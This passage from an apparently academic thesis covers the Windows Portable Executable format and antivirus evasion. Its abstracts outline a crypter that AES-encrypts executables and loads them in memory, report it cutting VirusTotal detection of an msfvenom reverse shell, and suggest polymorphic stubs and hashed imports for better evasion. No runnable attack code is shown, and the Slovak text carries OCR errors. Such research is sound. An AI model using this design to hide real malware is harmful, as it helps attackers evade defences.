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ABSTRACT

During security assessments, it is fairly uncommon for someone to be persuaded that
antivirus software does not provide total security. When a penetration tester comes
across antivirus software, there are times when he or she must act quickly. For these
and other reasons, a variety of methods for getting around antivirus software have been
devised. Some of these obfuscation approaches aim to escape static analysis by modifying
and manipulating the Portable Executable file format, which is a standardized Windows
executable file format. Several types of malware change the PE file format to avoid
static antivirus detection. This thesis delves into the PE file format, malware detection,
and static detection of obfuscation techniques. This thesis's result is a scantime crypter
Persesutor, which encrypts the input file and then decrypts and loads the encrypted file
into memory after execution.
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ABSTRAKT

Pocas hodnotenia bezpecnosti je pomerne nezvycajné, aby bol niekto presvedceny, ze an-
tivirusovy softvér neposkytuje tplni bezpecnost. Ked penetracny tester narazi na antivi-
rusovy softvér, st chvile, kedy musi konat rychlo. Z tychto a inych dévodov boli vyvinuté
rozne sposoby obchadzania antivirusového softvéru. Niektoré z tychto pristupov obsfu-
kacie maju za ciel uniknit statickej analyze Gpravou a manipulaciou s formatom Portable
Executable, ¢o je standardizovany format spustitelného siboru Windows. Niekolko typov
malvéru meni format siboru PE, aby sa zabranilo statickej detekcii antivirusu. Tato praca
sa zaobera formatom suborov PE, detekciou malvéru a statickou detekciou obfukacnych
technik. Vysledkom tejto prace je scantime crypter Persesutor, ktory zasifruje vstupny
stibor a nasledne po spusteni zasifrovany stbor desifruje a nacita v pamati.
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ROZSIRENY ABSTRAKT

Kyberpriestor je piatou operacnou doménou vojen v dnesnej modernej dobe,
pricom informécie slizia ako zivotne dolezita zbran. Frekvencia kybernetickych
utokov sa zvysuje v dosledku ziskavania cennych informécii od komercného a vere-
jného sektora, vlady a armady. VAacsina tychto kybernetickych utokov pouziva
malvér na infikovanie svojich cielov. Detekcia a prevencia su kritickymi stucastami
obrany na ochranu pred takymito itokmi a uchovavanie informécii v bezpeci.

Zmena binarneho kédu malvéru je klucovym zdrojom tspechu malvéru, ktory sa
snazi vyhnit statickej detekcii. Spustitelné sibory pre systémy Microsoft Windows
si vo forméate Portable Executable. Tento formét stboru je bezny v systémoch
Windows a mozno ho upravit, aby sa zmenili atribiity a charakteristiky spustitelnych
siborov. V kapitole 1 sa diskutuje o tomto formate siiboru.

Detekciu malvéru vykonava hlavne antivirusovy softvér, ktory vyuziva rozne de-
tekéné techniky. Staticka detekcia, ¢o je proces skiimania binarneho stboru bez jeho
skutocného spustenia, je jednou z tychto detekénych stratégii. Je to najjednoduchsi
sposob, ako ziskat metadata spojené s podozrivim bindrnym stborom. Statistické
pristupy sa pouzivaji na zistenie, ¢i binarny stibor obsahuje skodlivy kod, ktory je
skryty alebo Sifrovany. Skryty malvér existuje v roznych forméach, z ktorych na-
jCastejsou je sifrovany malvér, pricom sa vyskytli pripady velmi zlozitého metamor-
fovaného malvéru. Techniky detekcie malvéru a statického zahmlievania st popisané
v kapitole 2.

Kapitola 3 sa venuje rieSeniu obidenia statickej detekcie pomocou scantime cryptera
Perseustor. Jedna sa o néstroj, ktory pomocou sifrovania zabezpeci obsah vstupné
siboru. Tento uz Sifrovany sibor po jeho spusteni sa desifruje a nacita v paméti
pocitaca. Tento koncept Sifrovania ma za tmysel obist statickd detekciu antiviru,
ktory neméa sancu nejako analyzovat dany subor, kedze je Sifrovany.

Perseustor sa celkovo deli na dve hlavné casti. Prvou je Sifrovacia cast zvana
crypter, a druha cast je desifrovacia cast zvana stub.

Inicializacna cast slizi na pripravu vstupného siboru, jeho Sifrovanie a nasledné
vytvorenie nového obfuskovaného siboru. Celkovo sa st tu nachadzaja styri faze, a
to inicializacia, analyza vstupného suboru, generovanie potrebnych stiborov a gen-
erovanie obfuskovaného stiboru. V prvej fazy sa crypter inicializuje pomocou vstup-
nych parametrov, a to velkost Sifrovacieho klica, rozsah sifrovacieho klica, detailny
vystup informécii jednotkovych faz, meno vstupného siboru a meno vystupného
siboru. Meno vstupného a meno vystupného siboru st povinné

V druhej fazy, sa analyzuje vstupny subor. Postupne sa prechadza jeho vnutorna
struktira, ¢ize PE format, a zistuje sa ¢i sa jedna o 32 bitovy alebo 64 bitovy stbor.
Dalej sa zistuje jeho adresa obrazu (image base), ako aj velkost jeho obrazu (image

size). Tieto idaje sa vyuziju v dalSej casti pri generovani potrebnych stiborov. Ku



koncu tejto analyzy sa zistuje, ¢i dany subor je .NET aplikdciou alebo obsahuje
.reloc tabulku. V kazdom pripade sa vypiSe uzivatelovi upozornenie, ze dany subor
nie je plne podporovany a, Ze uzivatel musi pokracovat opatrne. Dalej sa deteguje,
¢i sa jedna o konzolovu alebo graficka aplikéciu.

Pri generovani suborov, sa vyuziju doteraz zistené hodnoty z analyzy. V prvom
generovanom stubore sa nachadza format daného vstupného stuboru, ¢ize jeho ar-
chitektiira a ¢i sa jedné o konzolu alebo grafické rozhranie. Do dalsieho generovaného
siboru su zapisané hodnoty adresy obrazu a velkosti obrazu. V predposlednom
generovanom stbore je zapisana dizka kltca, ako aj jeho rozsah. Pred vytvorenim
posledného stuboru, sa vypocita kontrolny stucet suboru, ktory je spolu so samot-
nym vstupnym siborom zasifrovany pomocou nahodne vygenerovaného Sifrovacieho
klica, ktory je taktiez zavisly od vstupnych parametrov. V tejto casti sa vyuziva
externd kniznica TinyAES. Po zaSifrovani sa tieto data zapisu do posledného gen-
erovaného siboru, ako aj velkost zasifrovanych dat.

V poslednej fazy sa pomocou doteraz vygenerovanych suborov, ako aj pomo-
cou suborov samotnej desifrovacej casti vytvori obfuskovany subor pomocou FASM
kompilatora.

Druha cast je zamerana na desifrovanie, nacitanie a spustenie zasifrovanej ap-
likdcie v pamati. Taktiez sa rozdeluje na styri fazy, a to na inicializaciu, desifrovanie,
nacitanie a spustenie suboru v paméti. V prvej faze sa inicializuje desifrovacia cast
v paméti pomocou hodnot, ktoré pochadzaji z vygenerovanych siborov, ktoré si
teraz uz obsiahnuté v obfuskovanej aplikacii.

V druhej fazy sa desifruje zasifrovany sibor. Na zaciatku sa vygeneruje poci-
atocény kluc, ktorym sa desifruje zaSifrovana cast, z ktorej sa okamzite extrahuje
kontrolny stcet, ktory bude porovnany s novym vypocitanym kontrolnym sictom
aktudlne desifrovaného suboru. Ak sa kontrolny sicet nezhoduje, tak sa obnovy
zasifrovana cCast, vygeneruje sa novy klu¢ a znova sa pokusa o desifrovanie. Pri
uspesnom desifrovani je sibor pripraveny na jeho nacitanie do paméte.

Pri nacitavani siboru do paméti sa nacitaju jeho potrebné kniznice a funkcie z
tychto kniznic, pricom sa vyuzivaji iidaje uschované v PE strukturach desifrovaného
suboru. Podrobnejsie je tento proces nacitavania popisany v sekcii 3.4.3. V poslednej
fazy sa vypocita adresa zaciatocného bodu nacitaného siiboru, preskodi sa na nu a
spusti sa priebeh danej aplikacie.

V podkapitole 3.5 sa testuje Perseutor voci antivirom na stranke VirusTotal,
kde sa vyskusala nezaSifrovana a zasifrovana verzia MSF Venom reverse TCP shell.
Ako vidno na obrazkoch 3.13 a 3.14, tak nezaSifrovana verzia bola detekovatelna
na 70,5%, zatial ¢o zaSifrovana iba na 39,7%. Doslo tak ku celkovému poklesu
detekovatelnosti o 30,8%. Aj ked sa jedna o docela dobry pokles v detekovatelnosti,
tak stale je samotna detekovatelnost vysoka.



Tento fakt je hlavne zapric¢ineny tym, ze desifrovacia cast je staticka a nikdy sa
nemeni. Takto si vedia antiviry velmi rychlo najst signatiru danej casti a nasledne
je obfuskovand aplikdcia detekovand. Dalsim faktom je, Ze dynamické kniznice,
ako aj funkcie z nich, st nacitavané standardnym spésobom. Tymto je hned Tahké
detegovat zakazané funkcie, ako napriklad VirtualProtect.

Dané problémy by sa dali riesit zavedenim polymorfizmu pre desifrovaciu cast,
aby nikdy sa signatury pri kazdej novej generacii menili. Problém s nacitavanim
kniznic by sa mohol riesit napriklad pouzitim hasov nazvu funkcii, ktoré potrebujeme

importovat.
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Introduction

Cyberspace is the fifth operational domain of warfare in today’s modern age, with
information serving as a vital weapon. The frequency of cyberattacks is increasing as
a result of obtaining valuable information from the government, military, commercial
and public sectors. The majority of these cyberattacks use malware to infect their
targets. Detection and prevention are critical parts of the defense to protect against
such attacks and keep information safe.

The change of a malware’s binary is the key source of success for malware that
seeks to avoid static detection. The executables for Microsoft Windows systems are
in the Portable Executable format. This file format is common on Windows systems,
and it may be tweaked to change the attributes of executables. In Chapter 1, this
file format is discussed.

Malware detection is mainly carried out by antivirus software, which employs a
variety of detecting techniques. Static detection, which is the process of examining
a binary file without actually running it, is one of these detection strategies. It’s the
simplest way to get the metadata associated with the suspicious binary. Statistical
approaches are used to see if a binary file contains harmful code that is concealed
or encrypted. Concealed malware exists in a variety of forms, the most frequent
of which is encrypted malware, while there have been instances of very complex
metamorphic malware. Malware detection and static obfuscation techniques are
discussed in Chapter 2.

A scantime crypter Perseustor is built in the Chapter 3. The implementation of
such a crypter, differents parts of it, as well as the testing of it on a malware sample,

are discussed.

14



1 Portable Executable (PE/PE+)

Portable Executable (PE) is a file format for 32-bit and PE+ is for 64-bit Windows
executable files, such as .EXE, font files, DLLs, and others. It is the Microsoft
Windows standard, for organizing executable files within the file system, based on
the COFF (Common Object File Format) standard. The PE file format was created
for the Windows N'T 3.1 operating system, which was launched in 1993. PE is made
up of headers and sections that tell the Windows OS loader how to map files into
memory.

PE files do not include position independent code, which means that it must
have its base address in order to operate. If another program already has a base
address, the operating system must rebase it by recalculating the absolute address
and changing the code values to utilize it. Rebasing is avoided since it costs time
and slows down the code, which is why Microsoft ships DLLs with pre-calculated
addresses.

Because the PE file structure is the same in memory as it is on disk, knowing
how to identify a certain piece of information in PE can help to discover it after it
has been loaded into memory. This is due to the fact that once PE has been put
into memory, its data structure will not alter.

Furthermore, the PE is not mapped into memory as a single file; rather, the
Windows loader determines which parts of the PE should be mapped into memory
or address space.

The whole PE file format documentation can be found online on Microsoft’s
MSDN website [5].

1.1 Structure of PE/PE+ File

The data in a PE file is structured in a linear stream. It starts with an MS-DOS
header, a stub for a real-mode application, and a signature for a PE file. Following
that is a PE file header and an optional header. The section headers come next,
followed by the section bodies.

A few more areas of miscellaneous data, such as relocation information, symbol
table information, line number information, and string table data, round out the
file. The described structure of the PE file format is shown in Figure 1.1.

15



PE File In Memory

Lower Lower
Offsets Addresses

MS-DOS Real-Mode ) MS-DOS Real-Mode
Header Header

MS-DOS Real-Mode
Stub Program

PE File Signature e PE File Header
PE File Header —
PE Optional Header é .text
Section Headers Q .data

Y S Y

Higher Higher
Offsets Addresses

Fig. 1.1: Structure of Portable Executable.

1.2 MS-DOS Real-Mode Header

It describes the compatibility of Windows NT executable in MS-DOS. If the MS-
DOS header is missing, the operating system will fail to load the needed file and
display a warning. In a PE file, the first 64 bytes are allocated for the MS-DOS
header. The MS-DOS header is the initial component of a PE file.

The first field is e_magic, which indicates an executable on MS-DOS. This field
is present in every legitimate PE file and always includes the value 54/D. Because
this number corresponds to the ASCII character MZ, it is also known as the MZ
header. The header’s structure, included in winnt.h, can be found on Microsoft’s
MSDN [5].

The last field in the MS-DOS header structure is e_ Ilfanew, which is another
noteworthy field. It is 4-byte offset that specifies the location of PE header. Windows
PE loader scan for this field and once found it jumps over this address and skips
Real Mode Stub.

16



1.3 MS-DOS Real-Mode Stub Program

When the executable is loaded, MS-DOS runs the real-mode stub program, which
is an actual program. The application starts running here if it’s a real MS-DOS
executable image file. An MS-DOS stub program is placed here for subsequent op-
erating systems, such as Windows, OS/2®, and Windows NT, that runs in lieu of the
original application. The linker links a default stub program called WINSTUB.EXE
into the executable when building an app for Windows version 3.1. By replacing
WINSTUB with a valid MS-DOS-based software and indicating this to the linker
using the STUB module definition statement, it is possible to override the default
linker behavior. When linking the executable file, applications written for Windows

NT may perform the same thing by using the -STUB: linker option.

1.4 PE File Header and Signature

The PE file header is found by indexing the MS-DOS header’s e_Ifanew field. To
get the actual memory-mapped address, add the file’s memory-mapped base address
to the e_lfanew field.

When working with PE file information, there are a few places in the file that
need to be referred to frequently. These places are easier to implement as macros

since they give better performance than functions because they are simply offsets
into the file. Such a macro is NTSIGNATURE, which can be seen in Listing 1.1.

Listing 1.1: NTSIGNATURE Macro

#define NTSIGNATURE(a) ((LPVOID)((BYTE #)a
+ ((PIMAGE DOS_HEADER)a)->e_lfanew))

Notice that this macro fetches the position of the PE file signature rather than
the offset of the PE file header. Starting with executables for Windows and OS/2, To
designate the intended target operating system, EXE files were given file signatures.
This signature appears before the PE file header structure in Windows N'T for the
PE file format. The signature is the first word in the file header in Windows and
OS/2 versions. In addition, Windows NT utilizes a DWORD for the signature in
the PE file format.

Regardless of the kind of executable file, the macro above returns the offset of
where the file signature occurs. The file header exists either after the signature
DWORD or at the signature WORD, depending on whether it’s a Windows N'T file

signature or not.
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The macro makes it easy to compare the different file types and return the
appropriate one for a given type of file. The different file types, defined in winnt.h,
and can be found on Microsoft’s MSDN [5].

This list does not include executable file formats for Windows. The reason for
this is that, except from the operating system version specification, there is no
difference between Windows executables and OS/2 executables. The executable file
structure is the same in both operating systems.

The PE file is four bytes after the location of the file signature. The PEFH-
DROFFSET macro, listed in Listing 1.2, detects the header of the PE file.

Listing 1.2: PEFHDROFFSET Macro

#define PEFHDROFFSET (a) ((LPVOID) ((BYTE *)a
+ ((PIMAGE _DOS_HEADER)a)->e_lfanew
+ SIZE_OF_NT_SIGNATURE))

The only difference between PEFHDROFFSET macro and NTSIGNATURE is
that this one includes the SIZE OF NT SIGNATURE constant, which is not
defined in winnt.h.

The PE file header structure is defined as shown on Microsoft’s MSDN [5].

It’s worth noting that the include file easily defines the file header structure’s
size. The data in a PE file is essentially high-level data that the system or programs
use to determine how to handle the file.

e Machine - The type of computer or emulator architecture on which the software
will operate is specified in this field.

NumberOfSections - This field contains the total number of sections in the ex-

ecutable, excluding any, taking into mind that the loader’s limit is 96 sections,

or at the very least, only that amount will load.

TimeDateStamp - This field shows how many seconds have passed since Jan-
uary 1, 1970. The file creation date will be shown by these seconds.

PointerToSymbolTable, NumberOfSymbols - These fields are utilized by
the .0bj or COFF files. Their values are set to 0 by default.

SizeOfOptionalHeader - Contains the IMAGE OPTIONAL HEADER size

value.

Characteristics - This field uses different values to represent the file’s various
properties. When a file includes several qualities, the final value is calculated

by adding them all together.
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1.5 PE Optional Header

The optional header holds the majority of the executable image’s useful information,
such as the starting stack size, program entry point location, desired base address,
operating system version, section alignment information, and so on. The structure
of the optional header, which is included in winnt.h, can be seen on Microsoft’s
MSDN [5].

The PE optional header is the following 224 bytes in the executable file. Even
though it’s called an "optional header’, it’s not an optional element in PE executable
files. The OPTHDROFFSET macro is used to get a reference to the optional header,

and is shown in Listing 1.3.

Listing 1.3: OPTHDROFFSET Macro

#define OPTHDROFFSET (a) ((LPVOID) ((BYTE *)a
+ ((PIMAGE DOS_HEADER)a)->e_lfanew + SIZE_OF _NT_SIGNATURE
+ sizeof (IMAGE FILE_HEADER)))

1.5.1 Standard Fields

The standard fields are those used in most UNIX executable files that use the Com-
mon Object File Format (COFF). Despite the fact that the standard fields maintain
their COFF names, Windows NT utilizes some of them for various reasons that
would be better explained with alternative names.

e Magic - Indicates if the executable is 32-bit or 64-bit.

e MajorLinkerVersion - Indicates the linker’s highest version.

e MinorLinkerVersion - Indicates the linker’s lowest version.

e SizeOfCode - Executable code size.

e SizeOflInitializedData - Initialized data size.

e SizeOfUninitializedData - Uninitialized data size.

e AddressOfEntryPoint - This field contains the relative virtual address (RVA)
of the first instruction that the program will run; in other words, it represents
the program’s execution start point.

e BaseOfCode - Relative offset of code (.tezt) in loaded image.

e BaseOfData - Relative offset of uninitialized data (.bss) in loaded image.

1.5.2 Windows NT Additional Fields

Much of the Windows NT-specific process behavior is supported by the extra fields
added to the Windows NT PE file format. A list of these fields is provided below.
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o ImageBase - The base address in a process’s address space to which the exe-
cutable image should be mapped. The linker is set to 0x00400000 by default,
but it may be changed using the -BASE: linker switch.

e SectionAlignment - Beginning with ImageBase, every part is progressively
loaded into the address space of a process. When a section is loaded, Section-
Alignment determines how much space it can take up. Sections are aligned
on SectionAlignment borders. As specified by the behavior of Windows NT’s
virtual memory management, section alignment cannot be less than the page
size (currently 4096 bytes on the x86 platform) and must be a multiple of the
page size. The x86 linker default is 4096 bytes, although this can be changed
using the -ALIGN: linker switch.

e FileAlignment - Prior to loading, the image file’s granularity of bits of informa-
tion must be as little as possible. The linker, for example, zero-pads a section
body (raw data for a section) up to the file’s nearestFileAlignment boundary.
This number must be a power of two between 512 and 65,535.

e MajorOperatingSystemVersion - Indicates the major version of the Windows
NT operating system.

e MinorOperatingSystemVersion - Indicates the minor version of the Windows
NT operating system.

e MajorImageVersion - Indicates the major version number of the application.

e MinorImageVersion - Indicates the minor version number of the application.

e MajorSubsystemVersion - Indicates the major version number of the Win-
dows NT Win32 subsystem.

e MinorSubsystemVersion - Indicates the minor version number of the Win-
dows NT Win32 subsystem.

e Win32VersionValue - The amount of address space to set aside for the loaded
executable image in the address space. SectionAlignment has a big impact
on this number. The linker calculates the precise SizeOflmage by calculating
each segment separately. It calculates how many bytes the section requires
first, then rounds up to the next page border, and lastly to the nearest Sec-
tionAlignment boundary. The total is then calculated by adding the individual
requirements of each section.

e SizeOfHeaders - This column specifies how much space is utilized in the file to
represent all the file headers, such as the MS-DOS header, PE file header, PE
optional header, and PE section headers. At this point in the file, the section
bodies begin.

e CheckSum - At load time, the executable file is validated using a checksum
value. The linker determines the value and checks it. The algorithm used to

generate these checksum values is confidential, and it will not be made public.
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e Subsystem - This field is used to identify the executable’s target subsystem.
The winnt.h file right following the IMAGE_OPTIONAL_ _HEADER struc-
ture lists all the potential subsystem values.

e DIllCharacteristics - The presence of process entry points, thread initialization,
and termination in a DLL image is indicated by these flags.

e SizeOfStackReserve - This field contains the number of bytes to reserve for
the stack. Only the SizeOfStackCommit value is committed; the other pages
are made available one at a time until the reserved size is achieved.

e SizeOfStackCommit - This field is the part of memory reserved for the stack
that will be committed.

o SizeOfHeapReserve - Heap is a memory region where memory allocation re-
quests will be fulfilled. The size to reserve for the local heap (memory area in
the application’s address space) is expressed by this field.

e SizeOfHeapCommit - The amount of address space to reserve and commit for
the stack and default heap is controlled by these variables. The default values
for the stack and heap are 1 page committed and 16 pages reserved. The linker
options -STACKSIZE: and -HEAPSIZE: are used to set these values.

e LoaderFlags - Indicates whether the loader should break on load, debug on
load, or the default, which is to let things run normally.

e NumberOfRvaAndSizes - The length of the DataDirectory array that follows
is determined by this parameter. It’s vital to remember that this field is used
to determine the array’s size, not the number of valid entries.

e DataDirectory - Specifies where additional key executable information compo-
nents in the file can be found. The PE file format currently defines 16 data

folders, 15 of which are currently in use.

1.6 Data Directories

Each data directory is essentially an IMAGE _DATA__DIRECTORY structure. De-
spite the fact that data directory entries are all the same, each directory type is
distinct.

Every data directory entry gives the directory’s size and relative virtual address.
The relative address of a directory is determined using the data directory array in
the optional header. The virtual address may then be used to determine which part
the directory is in. The section header for that section is then utilized to locate the
precise file offset position of the data directory once it is determined which section
contains the directory.

As defined in winnt.h, the definitions of the data directory structures can be
found on Microsoft’s MSDN [5].
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1.7 Section Headers

The headers stated thus far, as well as a generic object called a section, make up the

PE file specification. The content of the file is divided into sections, which include

code, data, resources, and other executable information. There is a header and a

body for each segment (the raw data). The file format of section headers is detailed

here, although section bodies are not. They may be structured nearly any manner a

linker wants, as long as the header has enough information to decode the contents.

In the PE file format, section headers appear after the optional header in a
sequential order. With no padding, each section header is 40 bytes long. The

section header structure is included in winnt.h and found on Microsoft’s MSDN [5].

Much of the Windows NT-specific process behavior is supported by the extra
fields in the Windows NT PE file format. A list of these fields is provided below.

e Name - A name field of up to eight characters is available in each section header,
with the first character being a period.

e PhysicalAddress, VirtualSize - The second field is a union field that isn’t
being utilized right now.

e VirtualAddress - Specifies the virtual address to which the section should be
loaded in the process’s address space. This field’s value is added to the Im-
ageBase virtual address in the optional header structure to generate the real
address. Keep in mind, however, that if this image file contains a DLL, the
DLL may or may not be loaded into the ImageBase location specified. The
real ImageBase value should be confirmed programmatically using GetMod-
uleHandle function once the file has been loaded into a process.

e SizeOfRawData - The FileAlignment relative size of the section body is indi-
cated by this parameter. The section body’s actual size will be less than or
equal to a multiple of the file’s FileAlignment. The size of the section body
becomes smaller than or equal to a multiple of SectionAlignment after the
image is loaded into a process’s address space.

e PointerToRawData - This is an offset in the file’s position of the section body.

o PointerToRelocations - Points to the section relocation entries’ beginning.
This value defaults to 0 in executable files, as done by the relocation directory.

e PointerToLinenumbers - Only COFF files are affected by this setting. Its
value is 0 in COFF files and 0 in executable files.

e NumberOfRelocations - The number of relocation entries in the section is
represented by this value. This value is 0 in executable files.

e NumberOfLinenumbers - Value is 0 in executable files and applies to COFF.

e Characteristics - Encapsulates the various characteristics of the section. Mul-

tiple features are used here as well, so the value of each feature is added up.
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1.8 Sections

The nine predefined sections in a Windows N'T application are typically named .text,
.bss, .rdata, .data, .rsrc, .edata, .idata, .pdata, and .debug. Some applications may
not require all of these sections, while others may require additional sections to meet
their unique requirements. This behavior is similar to MS-DOS and Windows 3.1
code and data segments. In fact, an application defines a unique section by using
the standard compiler directives for naming code and data segments or the name
segment compiler option -NT, which is exactly how applications defined unique code

and data segments in Windows version 3.1.

1.8.1 Executable Code Section (.text)

The default behavior in Windows N'T merges all code segments (as they are referred
to in Windows version 3.1) into a single section named .text. This is a distinction
between Windows version 3.1 and Windows N'T. There is no benefit to splitting code
into discrete code segments in Windows NT since it employs a page-based virtual
memory management scheme. As a result, having a single huge code area makes it
easier for the operating system and the application developer to handle.

The entry point indicated before is also found in the .text section. The IAT!
can also be found in the .text section, just before the module’s entry point. (The
[AT’s appearance in the .text part makes sense because the table is essentially a
sequence of jump instructions, with the fixed-up address being the exact spot to
jump to.) The IAT is set up with the location of each imported function’s physical
address when Windows NT executable images are loaded into a process’s address
space. The loader simply locates the module entry point and relies on the fact that
the IAT occurs immediately before the entry point to discover the IAT in the .text
section. Because each entry is the same size, walking backward in the table to find

the beginning is simple.

1.8.2 Data Sections (.data)

The .bss section contains the application’s uninitialized data, such as any variables
specified as static within a function or source module. Read-only data, such as
literal characters, constants, and debug directory information, are stored in the
.rdata section. The .data section stores all other variables (excluding automated
variables, which appear on the stack). These are, in essence, global variables for an

application or module.

Tmport Address Table (IAT) - A table that holds the addresses of all the imported functions.
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1.8.3 Resources Section (.rsrc)

A module’s resource information is stored in the .rsrc¢ section. It starts with a
resource directory structure, much like the rest of the sections, but the data in this
part is organized into a resource tree. The root and nodes of the tree are formed
by the IMAGE RESOURCE _DIRECTORY structure, located in winnt.h, which
can be found on Microsoft’s MSDN [5].

There is no reference to the next node in the directory structure. Instead, the
number of entries related to the directory is indicated by two fields, NumberOf-
NamedEntries and NumberOfldEntries. Directory entries come after the directory
in the section data. In ascending alphabetical order, the named entries display first,
followed by the ID entries in ascending numerical order.

_IMAGE_RESOURCE_DIRECTORY ENTRY, located in winnt.h and can be
found on Microsoft’s MSDN [5], describes the two fields that make up a directory
entry.

Depending on the level of the tree, the two fields are utilized for various reasons.
The Name field is used to identify a resource type, a resource name, or the language
ID of a resource. The OffsetToData attribute is usually used to point to a tree
sibling, either a directory or leaf node.

The lowest node in the resource tree is the leaf node. They provide the amount
and placement of the resource data itself. _IMAGE RESOURCE_DATA_ENTRY
structure, found on Microsoft’s MSDN [5], is used to represent each leaf node.

OffsetToData and Size are two fields that indicate the position and size of the
actual resource data. Because this data is mostly utilized by functions after the
program has been loaded, making the OffsetToData field a relative virtual address
makes more sense. This is exactly the situation. All other offsets, such as pointers
from directory entries to other directories, are offsets relative to the root node’s
position. Figure 1.2 gives an example of such a structure.

A very basic resource tree is shown above, with only two resource objects, a
menu, and a string table. In addition, the menu and string table both feature only
one item. Even with so few resources, the resource tree grows intricate.

The first directory, at the top of the tree, includes one entry for each type of
resource the file contains, regardless of how many there are. The root identifies two
entries in the figure, one for the menu and one for the string table. If the file had
one or more dialog resources, the root node would have gained another entry and,
as a result, another branch for the dialog resources.

The basic resource types, defined in the file winuser.h, are found on Microsoft’s
MSDN [5].
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Type Directory
Entry Entry Level One
Resource Type | Resource Type Resource Type
pSibling o pSibling ¢
| ]
Name Directory Name Directory
Entry Length I Entry Level Two
pName >~ Resource pName Resource Identifier
pSibling Name in Unicode pSibling
Y Y
Language Directory Language Directory
Entry Entry Level Three
Language ID Language ID Resource Language ID
pSibling P pSibling *
Y Y
Data Entry 01010 Data Entry
10101 Leaf Nodes
Size 10001 Size
pData l pData
L 4

Fig. 1.2: Structure of Resource Tree.

The MAKEINTRESOURCE values are inserted in the Name field of each type
entry at the top level of the tree, designating the distinct resources by type.

Each entry in the root directory refers to a sister node in the tree’s second level.
These nodes are also directories, with their own entries. The directories are used at
this level to identify the names of each resource inside a specific category.

Resources can be identified by name or by integer. The Name field in the di-
rectory structure distinguishes them at this level of the tree. The other 31 bits of the
Name field are utilized as an offset toan  IMAGE RESOURCE DIR STRING U
structure, found on Microsoft’s MSDN [5], if the most significant bit of the Name
field is set.

A 2-byte Length field is followed by Length UNICODE characters. The lower
31 bits of the Name are utilized to indicate the resource’s numeric ID if the most
significant bit of the Name field is clear. The menu resource is shown as a named

resource, whereas the string table is shown as an ID resource in Figure 1.2.
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If there were two menu resources, one by name and the other by resource, both
would have entries right after the menu resource directory. The integer-identified
resource would be listed first, followed by the named resource. Each of the directory
fields NumberOfNamedEntries and NumberOfldEntries would be set to 1, indicating
that only one entry exists.

The resource tree does not branch out any farther below level two. Level one
divides into directories for each resource type, whereas level two divides into di-
rectories for each resource by identifier. The third level establishes a one-to-one
relationship between the individually specified resources and their language IDs.
The Name field of the directory entry structure is used to identify both the major
language and sublanguage ID for a resource to indicate its language ID. 0x09 indi-
cates the principal language as LANG ENGLISH, and 0x04 denotes the sublanguage
as SUBLANG ENGLISH CAN for the value 0x0409. The file winnt.h defines the
whole collection of language IDs. The OffsetToData field in the entry structure is
an offset to a leaf node—the IMAGE RESOURCE DATA ENTRY structure
stated earlier—because the language ID node is the final directory node in the tree.

Each language directory entry has its own data entry node, as seen in Figure 1.2.
This node merely specifies the amount of the resource data, as well as the virtual
address at which the data is stored.

One advantage of the resource data section, .rsrc, having so much structure is
that it is feasible to get a lot of information from it without having to look at the
resources themselves. It is possible to find out how many of each type of resource
there are, what resources (if any) utilize a specific language 1D, if a resource exists

or not, and the size of individual sorts of resources, for example.

1.8.4 Export Data Section (.edata)

The export data for a program or DLL is stored in the .edata section found on
Microsoft’s MSDN [5]. This part, if present, includes an export directory that may
be used to access the export information.

The name of the executable module is identified by the Name column in the
export directory. The NumberOfFunctions and NumberOfNames variables show
how many functions and function names the module is exporting.

The AddressOfFunctions field is a starting point for a list of exported function
entry points. The address of an offset to the beginning of a null-separated list of
exported function names is stored in the AddressOfNames field. AddressOfName-
Ordinals is an offset to a list of ordinal values for the same exported functions (each
2 bytes long).
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Once the module has been loaded, the AddressOfFunctions, AddressOfNames,
and AddressOfNameOrdinals attributes are relative virtual addresses within the ad-
dress space of the process. To retrieve the exact position in the process’s address
space, add the relative virtual address to the module base address after it has been
loaded. The address may be obtained before the file is loaded by subtracting the sec-
tion header virtual address ( VirtualAddress) from the specified field address, adding
the section body offset (PointerToRawData), and then utilizing this value as an

offset within the image file.

1.8.5 Import Data Section (.idata)

Import data is contained in the .idata section, which includes the import directory
and the import address name table. _ IMAGE DIRECTORY ENTRY IMPORT
directory is specified, but the file winnt.h contains no equivalent import directory
structure. _ IMAGE _IMPORT BY NAME, IMAGE THUNK DATA, and also
_IMAGE IMPORT DESCRIPTOR are some various structures available. The
image import directory structure can be found on Microsoft’s MSDN [5].

Unlike the other sections’ data directories, this one repeats for each imported
module in the file. Instead of a data directory for the complete chunk of data,
consider it an item in a list of module data directories. Each entry is a link to the
module’s import details.

The structure’s first field, dwRVA FunctionNamelList, is a relative virtual address
to a list of relative virtual addresses that individually refer to the file’s function
names. The module and function names of all imported modules are listed in the
.tdata section data, as demonstrated in the following data.

dwRVA ModuleName, a virtual address referring to the name of the module. In
the structure, there are also two fields, dwUseLessl and dwUseLess2, that act as
padding to keep the structure aligned appropriately within the section. Although
the PE file format specification provides import flags, a time/date stamp, and ma-
jor/minor versions, these two fields are not described and remain seen as useless.

It is possible to extract the names of modules as well as all functions in each
module based on the structure’s specification.

The last field, dwRVAFunctionAddressList, is a virtual address that points to a
list of virtual addresses that the loader will insert into the section data when the
file is loaded. These virtual addresses are replaced with relative virtual addresses
that correspond perfectly to the list of function names before the file is loaded. As a
result, there are two identical lists of relative virtual addresses pointing to imported

function names before the file is loaded.
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1.8.6 Debug Information Section (.debug)

The .debug area is where debug information is initially stored. Separate debug files
(usually designated with a .DBG suffix) are also supported by the PE file format
as a technique of gathering debug information in a central location. The debug
section provides debug information, although the debug directories are located in
the previously mentioned .rdata section. Each of the folders has a .debug section
that contains debug information. In winnt.h, IMAGE DEBUG _DIRECTORY is
specified for the debug directory, which can be found on Microsoft’s MSDN [5].

The Type entry in each directory identifies the type of debug information it
contains. The PE file format provides a variety of debug information as well as a
few additional fields of data. The IMAGE DEBUG _TYPE MISC data is the only
one of its kind. This data was introduced to represent miscellaneous information
about the executable image that could not be included in any of the PE file format’s
more structured data sections. This is the only place in the image file where, it’s
certain, that the image name will appear. If an image exports data, the image name
will be included in the export data section.

Each type of debug data has its own header structure that specifies the data
it contains. The file winnt.h contains a list of each of them. The debug directory
structure _ IMAGE _DEBUG _DIRECTORY has two fields that identify the debug
information, which is a useful feature. The first of them, AddressOfRawData, is the
data’s relative virtual address after it has been loaded. The other is PointerToRaw-
Data, which is a physical offset within the PE file where the data is stored.

1.8.7 Relocation Table Section (.reloc)

All base relocations in the image in the base relocation table. The number of
bytes in the base relocation table are found in the  IMAGE _BASE _RELOCATION
structure in the optional header data directories, which can be found on Microsoft’s
MSDN [5]. The relocation table’s foundation is separated into blocks. Each block
